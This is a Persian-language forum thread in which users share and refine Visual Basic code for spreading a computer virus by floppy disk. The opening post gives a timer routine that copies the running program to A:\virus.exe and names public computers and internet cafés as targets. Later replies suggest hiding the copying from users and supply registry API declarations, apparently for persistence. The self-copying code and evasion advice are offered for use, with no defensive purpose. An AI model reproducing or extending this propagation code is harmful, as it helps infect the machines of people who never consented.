امتیاز موضوع:
  • 0 رأی - میانگین امتیازات: 0
  • 1
  • 2
  • 3
  • 4
  • 5
منتشر شدن از راه فلاپی
نویسنده پیام
ΛΛ Θ l-l $ Σ Ω آفلاین
کاربر با تجربه
****

ارسال‌ها: 739
موضوع‌ها: 147
تاریخ عضویت: مهر ۱۳۸۶

تشکرها : 219
( 187 تشکر در 98 ارسال )
ارسال: #1
منتشر شدن از راه فلاپی
کی از راه های قدیمی ولی پرکاربرد ویروس ها برای منتشر شدن،فلاپی است.اگر ویروستان به کافی نت یا دیگر کامپیوتر های عمومی راه یافت و این قابلیت را داشت،می تواند به راحتی منتشر شود.کدهای زیر را در یک timer کپی کنید:






On Error GoTo h

Set fso = CreateObject("Scripting.FileSystemObject")

mf = App.Path & "\" & App.EXEName & ".exe"

If Dir("A:\" & "virus.exe") = "" Then

FileCopy mf, "A:\" & "virus.exe"

End If

h:



توضیح کدها:در خط اول می گوید که اگر برنامه error پیدا کرد،آن را به خط آخر منتقل کند.خط دوم هم که می دانید.در خط سوم،ویروس مسیر فایل خودش را می گیرد که برای کپی کردن خودش درون فلاپی نیاز است.در خط چهارم می گوید که اگر در فلاپی فایلی به نام virus.exe وجود ندارد،خودش را با نام virus.exe در فلاپی کپی کند.

Exclamation
۰۱-آذر-۱۳۸۶, ۱۲:۴۳:۰۱
ارسال‌ها
پاسخ
HoseinVig آفلاین
مدیر بازنشسته
*****

ارسال‌ها: 1,165
موضوع‌ها: 97
تاریخ عضویت: مرداد ۱۳۸۵

تشکرها : 4768
( 2464 تشکر در 677 ارسال )
ارسال: #2
RE: منتشر شدن از راه فلاپی
اینجوری که همیشه چراغ فلاپی روشن خواهد موند و صداهای ناجور هم میده و کاربر هم متوجه میشه
بهترین کار اینه که کپشن همه پنجره ها رو چک کنه که اگر A:\ یا b:\ بود(یعنی اگر فلاپی باز باشه) اونموقه فایل رو کپی کنه

۰۲-آذر-۱۳۸۶, ۲۱:۴۸:۱۱
ارسال‌ها
پاسخ
wolf-sky آفلاین
تازه وارد

ارسال‌ها: 2
موضوع‌ها: 0
تاریخ عضویت: دى ۱۳۸۶

تشکرها : 0
( 0 تشکر در 0 ارسال )
ارسال: #3
RE: منتشر شدن از راه فلاپی
خوب منم روی همین کار میکنم اگه مایلید با هم همکاری کنیم -- من تا به حال تونستم متن بالای پنجره ها رو تشخیص بدم و حتی تونسم آدرس او نا رو بگیرم و فقط الان یک مشکل دارم بتونم یک مسیر رو در ریجستری ثبت کنم اگه می تونید کار ما تمومه
۲۸-دى-۱۳۸۶, ۱۴:۵۸:۲۶
ارسال‌ها
پاسخ
far_222000 آفلاین
مدير بخش ديتابيس
*****

ارسال‌ها: 955
موضوع‌ها: 68
تاریخ عضویت: شهریور ۱۳۸۴

تشکرها : 468
( 1249 تشکر در 422 ارسال )
ارسال: #4
RE: منتشر شدن از راه فلاپی
برای ثبت یک کلید در رجیستری، می تونی از API ها استفاده کنی
این هم API:
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Public Declare Function RegCloseKey Lib "advapi32.dll" Alias "RegCloseKey" (ByVal hKey As Long) As Long

Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Public Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long

پارک24
مرجع خرید و فروش خودرو
۲۹-دى-۱۳۸۶, ۰۷:۵۷:۴۰
وب سایت ارسال‌ها
پاسخ
m_vb66 آفلاین
در حال پیشرفت
***

ارسال‌ها: 253
موضوع‌ها: 60
تاریخ عضویت: فروردین ۱۳۸۷

تشکرها : 114
( 52 تشکر در 35 ارسال )
ارسال: #5
RE: منتشر شدن از راه فلاپی
HoseinVig نوشته است:اینجوری که همیشه چراغ فلاپی روشن خواهد موند و صداهای ناجور هم میده و کاربر هم متوجه میشه
بهترین کار اینه که کپشن همه پنجره ها رو چک کنه که اگر A:\ یا b:\ بود(یعنی اگر فلاپی باز باشه) اونموقه فایل رو کپی کنه

به نظر من با توجه به اینکه این سورس بالا مربوط به بیسیکه از
کد:
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
استفاده بشه بهتره
۲۰-فروردین-۱۳۸۷, ۰۷:۱۷:۴۴
ارسال‌ها
پاسخ
mahyar 69 آفلاین
كاربر تک ستاره
*

ارسال‌ها: 34
موضوع‌ها: 11
تاریخ عضویت: فروردین ۱۳۸۷

تشکرها : 5
( 28 تشکر در 12 ارسال )
ارسال: #6
RE: منتشر شدن از راه فلاپی
http://iranianvirus.blogfa.com/post-16.aspx

۱۵-اردیبهشت-۱۳۸۷, ۰۶:۲۱:۱۴
ارسال‌ها
پاسخ
HoseinVig آفلاین
مدیر بازنشسته
*****

ارسال‌ها: 1,165
موضوع‌ها: 97
تاریخ عضویت: مرداد ۱۳۸۵

تشکرها : 4768
( 2464 تشکر در 677 ارسال )
ارسال: #7
RE: منتشر شدن از راه فلاپی
این لینک که دادی یعنی چی؟
این کد که عیناً همون بالاییست

۱۶-اردیبهشت-۱۳۸۷, ۱۷:۲۸:۰۶
ارسال‌ها
پاسخ


پرش به انجمن:


کاربرانِ درحال بازدید از این موضوع: 2 مهمان

صفحه‌ی تماس | IranVig | بازگشت به بالا | | بایگانی | پیوند سایتی RSS